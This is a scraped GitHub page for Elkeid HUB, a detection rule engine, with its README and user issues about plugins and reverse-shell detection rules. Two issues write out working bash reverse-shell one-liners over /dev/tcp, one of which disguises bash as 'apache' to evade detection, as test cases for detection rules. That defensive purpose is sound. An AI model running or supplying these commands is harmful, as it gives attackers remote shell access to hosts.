Elkeid HUB - A rule/event processing engine maintained by the Elkeid Team that supports streaming/offline data processing

Overview

English | 简体中文

Elkeid HUB

Elkeid HUB is a rule/event processing engine maintained by the Elkeid Team that supports streaming/offline (not yet supported by the community edition) data processing. The original intention is to solve complex data/event processing and external system linkage requirements through standardized rules.

Core Components

  • INPUT data input layer, community edition only supports Kafka.
  • RULEENGINE/RULESET core components for data detection/external data linkage/data processing.
  • OUTPUT data output layer, community edition only supports Kafka/ES.
  • SMITH_DSL used to describe the data flow relationship.

Application Scenarios

  • Simple HIDS

  • IDS Like Scenarios

  • Multiple input and output scenarios

Advantage

  • High Performance
  • Very Few Dependencies
  • Support Complex Data Processing
  • Custom Plugin Support
  • Support Stateful Logic Build
  • Support External System/Data Linkage

Elkeid Internal Best Practices

  • Use Elkeid HUB to process Elkeid HIDS/RASP/Sandbox/etc. raw data, TPS ninety million/s. HUB scheduling instance 4000+
  • 99% alarm produce time is less than 0.5s
  • Internal Maintenance Rules 2000+

Getting Started

Elkeid-HUB Quick Start

Elkeid-HUB Demo(Chinese version only)

Elkeid HUB Handbook (chinese only)

Handbook

Demo Config

Demo

Elkeid HIDS Rule and Project(Just Example)

Elkeid Project

(Need to use with Elkeid)

Community Version

  • Does not support cluster mode, only supports single node.
  • No front-end support, no data visualization capabilities, no front-end management capabilities.
  • Rule/RuleSet/Project Debug capabilities are not supported.
  • WorkSpace is not supported, user management is not supported.
  • No operation and maintenance management capabilities.

LICENSE (Not Business Friendly)

LICENSE

Contact us && Cooperation

Comments
  • 执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    执行./bootstrap.sh 提示stat py/elkeid.sock: no such file or directory

    下载解压后,修改了config里的input,out对应的kafka地址。执行./bootstrap.sh,报了panic: [AgentSmith INIT] CUSTOM PLUGIN INIT FAILEDplugin process run timeout, List plugin error: stat /root/elkeid/elkeid_hub_community/py/elkeid.sock: no such file or directory 。按照文档说明去cat py/plugin.stdout,没有该文件 image

    opened by crazyydevil 11
  • CUSTOM_ALLDATA 类型调用插件未生效

    CUSTOM_ALLDATA 类型调用插件未生效

    规则如下,在check_node中调用【DetectTTY】插件,类型为文档中的【CUSTOM_ALLDATA】

        <rule rule_id="pipe_shell_detect" author="mg" type="Detection">
            <rule_name>pipe_shell_custom_detect</rule_name>
            <alert_data>True</alert_data>
            <harm_level>high</harm_level>
            <desc kill_chain_id="persistent" affected_target="host_process">Double Piped Reverse Shell Detection, Connection Part</desc>
            <filter part="data_type">59</filter>
            <check_list>
                <!-- <check_node type="EQU" part="exe" logic_type="or" separator="|">
                    <![CDATA[/bin/cat|/usr/bin/cat|/usr/bin/ls|/bin/ls|/usr/bin/cp|/bin/cp]]>
                </check_node> -->
                <check_node type="CUSTOM_ALLDATA">DetectTTY</check_node>
            </check_list>
            <node_designate></node_designate>
            <del />
            <modify></modify>
            <action />
            <append type="static" append_field_name="alert_type_us">persistent</append>
            <append type="static" append_field_name="rule_name">pipe_shell_custom_detect</append>
        </rule>
    

    【DetectTTY】插件代码

    from ast import Try
    import json
    
    class Plugin(object):
    
        def __init__(self):
            self.name = None
            self.type = None
            self.log = None
            self.redis = None
    
        def plugin_exec(self, arg, config):
            self.log.info(arg)
            result = dict()
            try:
                data = json.loads(arg)
                tty = data['tty']
                new_tty = tty[:3]+'/'+tty[3:]
                if data['stdin'].find(new_tty) > -1 and data['stdout'].find(new_tty) > -1:
                    result["flag"] = False
                    result["msg"] = arg
                    self.log.info('false')
                else:
                    result["flag"] = True
                    result["msg"] = arg
                    self.log.info('true')
            except Exception as e:
                result["flag"] = False
                result["msg"] = arg
                self.log.info('exce')
                return  result
    

    目录【DetectTTY/elkeid.txt】的内容

    [[email protected] DetectTTY]# cat elkeid.txt 
    [plugin]
    name = DetectTTY
    type = Custom
    description = tty
    runtime = Python
    author = mg
    

    执行相关命令后,未发现日志信息有任何关于此插件的信息打印,但是其它插件有信息打印出来

    Wa8ievVkAc

    m55BhBUzNs

    opened by 0xlwoe21k 6
  • python插件进程未知原因挂了

    python插件进程未知原因挂了

    我们做了某个规则,存在短时间内会有大量告警产生,告警后会有如下动作:

    告警 -> 邮件 告警 -> 钉钉

    个人怀疑可能是瞬时的邮件发送太多导致进程挂了。

    麻烦官方看看。

    错误如下:

    During handling of the above exception, another exception occurred:
    
    Traceback (most recent call last):
      File "/elkeid/hub/py/pypy/site-packages/gevent/monkey.py", line 883, in _shutdown
        sleep()
      File "/elkeid/hub/py/pypy/site-packages/gevent/hub.py", line 159, in sleep
        waiter.get()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_waiter.py", line 154, in get
        return self.hub.switch()
      File "/elkeid/hub/py/pypy/site-packages/gevent/_greenlet_primitives.py", line 65, in switch
        return _greenlet_switch(self) # pylint:disable=undefined-variable
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 61, in switch
        return self.__switch('switch', (args, kwds))
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib_pypy/greenlet.py", line 115, in __switch
        args, kwds = unbound_method(current, *baseargs, to=target)
      File "/elkeid/hub/py/pypy/site-packages/gevent/greenlet.py", line 906, in run
        result = self._run(*self.args, **self.kwargs)
      File "start.py", line 232, in MAdMVLLDiXAtecYUDHboItopciRTNvvQzoOQHRuqtSVzMHWtYmMVjCziVxLIiVqdWeHmBUuMHjLNqmPMNtWyLqVbRzuPyXyOYwseiTjyPcBFtkFGKCDkYljoCNxmQQib
        zXOOpLGxKCFTqTCDVeLFTGSmwadspsqrDRujvSasYDdMYMWTlYHKUpcvgrFviMkYuyfiDukfCQRZQGLUNLIdaRTZrVBZrjbSMbywnBxjpPxfqtimxIxxULfGGyyvtAiv = JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA(rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId, MpMqkamoyCAZEAWGzRMVPyTgurkzhLeBtamvZYMzJJEVzFELqcwIuBHoNKZneCDHeuBVfizKwweZHrGwymjvyOnGnoHSDOkhWGaUNNIIpIllzqAkLrwzSGPyaCBNtBgB)
      File "/elkeid/hub/py/sthqiWDuarARPqndkeXjroRbJVUlVjFOHZBhnByxlvcQcybBMNkqXCPaHTLWrviEjnXjgGLVxFKnwbYmOfBPWrMabvEHUBVhvVibmReBRJJuOTQAigWHnstvTTAmHphI.py", line 1267, in JCvskfVXKjtOLPaWakNsLbZhbJcELrmjndDtrUOioYIlQylGQJKEppUkSKwKXdapDOnCebNCtUvwxAsmrlBMkXdDoqswofSUGAOavEaXJITLDfjucFQKbzuVFFmaOMGA
        IAWinSrpwEbhWZLtnwwpeygFGRmNhexkUISkMzrpRHWxBQUDJObqnIpdNqTBgNqBpOKJQdBujWacShKFulFkPMtZzvWJPTwMBjjzmQOBFkdICCVyRWIVnrhVoyxQmezM = MUxpTCwXyGICtMgnkyCDQPutAdqbDWUwTLljQxzYRhOCNlTaykQaqlCGtiTsDhAaLAkwHPJvZOUtegjsFnHVPbNIzUMUFtkCEObLCecvzJkgssyrkFoiuRgsrNApFrdQ[rijngpewjhDSqsFNjqbzuHtQaDjbrcHmrnWYACROvLNSMqOknvxoKyrlMURdLKTnSkQSiYilYihkwIBYWvXFvaUYaHPOqEKomicDNqKKzBPLnnmYqsLlUTIlgrZPVsId](LeOrCeoGyEHyYBDtEtCGWeWUjuxIIahbnAnZbnghRHqvibDNMarZdlpZjjJKNOBmsJUDXZvaAXpOiESZNJUBSEYoPyCURBHmMXeaLfSAfbcbAYMocWFabmAzwYoNdLeh, TwqkyTgFXKcxyAfUseFdgomZURnsIDPtkDqFdSWZuVxKODQoYBdXBhHFYJVfNOFqyAzWdLfMCdSSQXTiDZlbbICRCjgQpkNnmJzfxoHZbQeurXdTCUjHPkfYiTqmZUbA)
      File "/elkeid/hub/config/plugin/SendToEmail/plugin.py", line 49, in plugin_exec
        exit(0)
      File "/elkeid/hub/py/pypy3.7-v7.3.5-linux64/lib-python/3/_sitebuiltins.py", line 26, in __call__
        raise SystemExit(code)
    SystemExit: 0
    2022-07-11T07:54:07Z <greenlet.greenlet object at 0x0000000001571550> failed with SystemExit
    
    opened by 0xlwoe21k 2
  • cat 反弹shell规则的判断

    cat 反弹shell规则的判断

    exec 5<>/dev/tcp/10.71.5.222/666;cat <&5|while read line;do $line >&5 2>&1;done

    { "bootTime":"2022-01-19 19:11:31.000", "cmdline":"cat", "cwd":"/", "exe":"/usr/bin/cat", "fd_num":"1", "name":"cat", "pid":"12778", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"/dev/pts/0", "stdin":"socket:[583396364]", "stdout":"pipe:[583396365]", "terminal":"/pts/0", "username":"root" },

    这种反弹shell如何判断比较好?没有进程命令行特征,直接判断cat 输入有重定向?

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    麻烦评估下这个 规则改动,

    https://github.com/bytedance/Elkeid-HUB/pull/4

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 1
  • 判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    判断所有程序的stdin,stdout重定向,避免被绕过

    cp /bin/bash /tmp/apache;/tmp/apache -i >& /dev/tcp/10.71.5.222/666 0>&1

    { "bootTime":"2022-01-19 18:48:20.000", "cmdline":"/tmp/apache -i", "cwd":"/", "exe":"/tmp/apache", "fd_num":"3", "name":"apache", "pid":"88184", "ppid":"50250", "r_addr_ip":"10.71.5.222", "r_addr_port":"666", "session":"50250", "stderr":"socket:[583190616]", "stdin":"socket:[583190616]", "stdout":"socket:[583190616]", "terminal":"/pts/0", "username":"root" },

    opened by wcc526 0
  • plugin存在的问题

    plugin存在的问题

    在plugin/SendToLarkGroup/plugin.py更改了一下json输出的格式重新运行hub时出现报错[RuleCheck]Check RuleSetpush_alert error!plugin SendToLarkGroup not found 截图暂时没了 plugin.py更改内容:

    class Plugin(object):

    def __init__(self):
        self.name = None
        self.type = None
        self.log = None
        self.redis = None
    
    def plugin_exec(self, arg, config):
        self.log.info(arg)
        self.log.info(config)
        arg=json.dumps(arg,indent=2) 
        result = dict()
        headers = {
            'Content-Type': 'application/json ',
            'charset':'utf-8',
        } 
        data = {
            "app_id": app_id,
            "app_secret": app_secret,
        }
        data=json.dumps(data,indent=2)    
        response = requests.post('https://open.feishu.cn/open-apis/auth/v3/tenant_access_token/internal', headers=headers, data=data)
        self.log.info(response.json())
        token=response.json()['tenant_access_token']
        headers = {
            'Authorization': 'Bearer '+token,
            'Content-Type': 'application/json; charset=utf-8',
        }   
        data = {
            "open_chat_id":config["id"],
            "msg_type":"text",
            "content":{
                "text":arg,
            }       
        }
        data=json.dumps(data,indent=2) 
        self.log.info(data)
        response = requests.post('https://open.feishu.cn/open-apis/message/v3/send/', headers=headers, data=data)
        self.log.info(response.json())
        result["done"] = True
        return result
    

    自己创建了一个plugin,名为ChangeMod 文件内容与上面一致只是名字不同 重新运行也报错[RuleCheck]Check RuleSetpush_alert error!plugin ChangeMod not found

    然后把hub/py/.success删除重新运行./bootstrap.sh发现插件加载成功且格式已经变更。

    最后问一下,为什么后台有告警了但是飞书机器人却没有及时发送消息甚至没有消息,策略都是已经设置了的。。 image

    opened by gdianq 1
Owner
Bytedance Inc.
Bytedance Inc.
A suite of utilities for AWS Lambda Functions that makes tracing with AWS X-Ray, structured logging and creating custom metrics asynchronously easier

A suite of utilities for AWS Lambda Functions that makes tracing with AWS X-Ray, structured logging and creating custom metrics asynchronously easier

Amazon Web Services - Labs 1.9k Jan 07, 2023
Wrapper for the Swiss Parliament API for Python

swissparlpy This module provides easy access to the data of the OData webservice of the Swiss parliament. Table of Contents Installation Usage Get tab

Stefan Oderbolz 8 Jun 13, 2022
Telegram bot with various Sticker Tools

Sticker Tools Bot @Sticker_Tools_Bot A star ⭐ from you means a lot to us! Telegram bot with various Sticker Tools Usage Deploy to Heroku Tap on above

Stark Bots 20 Dec 08, 2022
A group management bot written in python3 using the python-telegram-bot library.

Chika Fujiwara A modular telegram Python bot running on python3 with an sqlalchemy database. Originally a Marie fork, Chika was created for personal u

Wahyusaputra 3 Feb 12, 2022
Gets instagram public username and returns usefull informations like profilepic(b64), video_urls etc.

InstaSucker Gets instagram public username and returns usefull informations like profilepic(b64), video_urls etc. Information this project contains a

Armin Amiri 5 Apr 30, 2022
Bin Checker with Aiogram, Telegram

Bin Checker with Aiogram, Telegram

JEFF 1 Aug 16, 2022
DankMemer-Farmer - Autofarm Self-Bot for Discord bot Named Dankmemer.

DankMemer-Farmer Autofarm Self-Bot for Discord bot Named Dankmemer. Warning We are not responsible if you got banned, since "self-bots" outside of the

Mole 16 Dec 14, 2022
Python3 wrapper for the Sibyl System antispam API for telegram

SibylSystem-Py Python3 wrapper for the Sibyl System antispam API for telegram Installation pip install sibylsystem Usage from SibylSystem import

Kaizoku 6 Nov 04, 2022
Download nitro generator that generates free nitro code that you can use for Discord

Download nitro generator that generates free nitro code that you can use for Discord, run it and wait for free nitro to come

Umut Bayraktar 154 Jan 05, 2023
Convenient script for trading with python.

Convenient script for trading with python.

VladKochetov007 66 Dec 07, 2022
💰 Import your ING Germany bank statements via FinTS into YNAB.

Import your ING Germany bank statements via FinTS into YNAB. Setup Before setting this up, please register your FinTS product – it's free and takes on

Arne Bahlo 23 Jan 21, 2022
SongFinder Bot helps you to find song name by recognising via voice note or instagram reels shared link.

SongFinder V1.1 SongFinder to detect songs name by just sending voice note or instagram reels links to your telegram bot. FFMPEG must be installed on

Abhishek Pathak 4 Dec 30, 2022
WakeNote is a tool that hides notifications from you until you confirm you want to read them, with technology to help prevent the reading of depressing messages first thing in the morning.

By: Seanpm2001, Et; Al. Top README.md Read this article in a different language Sorted by: A-Z Sorting options unavailable ( af Afrikaans Afrikaans |

Sean P. Myrick V19.1.7.2 3 Oct 21, 2022
Discord Online Account Forever

💠 Discord-Online-Account-Forever Discord Online Account Forever 📸 Tutorial Token Discord NEVER SHARE YOUR TOKEN Installation Replit 🧿 Replit : Here

nimaisox 2 Nov 28, 2021
all-in-one wrapper for NASA API's

=========== About bowshock is an all-in-one wrapper for NASA API's. Here is a list of currently supported API's : NASA Earth API NASA APOD (Astronomy

Emir Ozer 85 Nov 09, 2022
Python wrapper for Coinex APIs

coinexpy - Python wrapper for Coinex APIs Through coinexpy you can simply buy or sell crypto in your Coinex account Features place limit order place m

Iman Mousaei 16 Jan 02, 2023
A drop-in vanilla discord.py cog to add slash command support with little to no code modifications

discord.py /slash cog A drop-in vanilla discord.py cog that acts as a translation layer to add slash command support with little to no code modificati

marshall 3 Jun 01, 2022
The Python version of the official Discord bot for the Astura Studios Discord community server.

About Astura (Python version) is the official Discord bot for the Astura Studios Discord community server developed and maintained by Ascendus and the

Ascendus 1 Apr 21, 2022
Template to create a telegram bot in python

Template for Telegram Bot Template to create a telegram bot in python. How to Run Set your telegram bot token as environment variable TELEGRAM_BOT_TOK

Ali Hejazizo 12 Aug 14, 2022
Telegram Bot to check covid vaccine slot availability on CoWin site

Cowin Assist Telegram Bot Check the bot here @cowinassistbot. This is a simple Telegram bot to Check slots availability Get an alert when slots become

32 Jun 21, 2022